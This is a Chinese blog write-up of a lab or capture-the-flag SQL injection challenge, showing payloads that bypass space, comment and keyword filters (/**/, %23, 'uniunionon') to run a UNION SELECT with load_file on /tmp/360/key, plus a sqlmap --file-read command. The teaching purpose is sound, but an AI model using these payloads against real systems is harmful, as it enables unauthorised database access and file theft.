sql注入读取文件之各种绕过姿势

目录

  1. 回显判断注入点
  2. 确定过滤类型
  3. 各种绕过姿势注入

 0x00环境介绍

目标地址: http://172.16.12.100:81

 注入要求:通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。

 

 0x01渗透思路

进入答题后,显示为使用select * from article where id= ('1')提交表单后得到的信息,已经知道id输入的参数值为字符,不需要进行判断;已经少了判断字符型,数字型和闭合方式的步骤。

 

1.回显判断注入点

基本思路:因为sql语句中闭合的方式是’),那直接使用’)闭合查看是否会回显错误;

payload:http://172.16.12.100:81/vulnerabilities/fu1.php?id=1')回显出错,存在注入点;

 

2.判断sql语句中被过滤类型

sql语句http://172.16.12.100:81/vulnerabilities/fu1.php?id=1’) order by 5#回显正常,一直尝试增加判断的列数还是一样,未出现报错情况;也就是说明该条sql语句未被执行,猜测应该是过滤了空格、#、order等;

尝试使用注释/**/代替空格,使用%23代替#,再次输入sql语句,查看回显情况;这一步可以多尝试,组合测试,最终得到过滤类型。

‘)/**/order/**/by/**/5%23回显错误

‘)/**/order/**/by/**/4%23回显正常,空格不适用注释/**/代替回显错误,基本说明浏览器无法识别#,且把空格过滤。

 

过滤类型:目前知道注释#不可用,空格被过滤;

保证sql语句的完整性基本操作:前边闭合’),后边注释。

 

3.判断列数

a.直接查询看回显

')/**/uniunionon/**/select/**/1,2,3%23 错误

')/**/uniunionon/**/select/**/1,2,3,4%23正确,那么列数就是4

回显错误:

 

回显正确:

b.使用order by n判断列数

order by n:小于等n正常,大于n错误,列数就是n

')/**/order/**/by/**/5%23错误

')/**/order/**/by/**/4%23正确,列数为4

 

4.判断回显位

前表出错方法有两种:

1)and 1=2

2)id=1改为id=-1 参数值前加负号

payload:id=-1')/**/uniunionon/**/select/**/1,2,3,4%23

根据回显内容,明显2,3,4都可以回显内容;

 

5.读取key

读取key的sql语句:load_file('/tmp/360/key')

payload:id=-1')/**/uniunionon/**/select/**/1,load_file('/tmp/360/key'),3,4%23


 0x02总结

1)除了可以直接读文件,也可以查一些数据库,用户信息等:

user()当前用户

database()当前库名

version()版本

2)使用sqlmap也可以完成本次注入;

使用sqlmap下的/tamper:近60个脚本

显示详细payload: -v 3

基于真假判断:--level 3

sqlmap注入payloadsqlmap.py -u "http://ip:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"

 3)绕过方法可以看另一篇sql注入常见绕过姿势。

posted @ 2019-12-25 01:42  请叫我阿毛  阅读(2040)  评论(0编辑  收藏  举报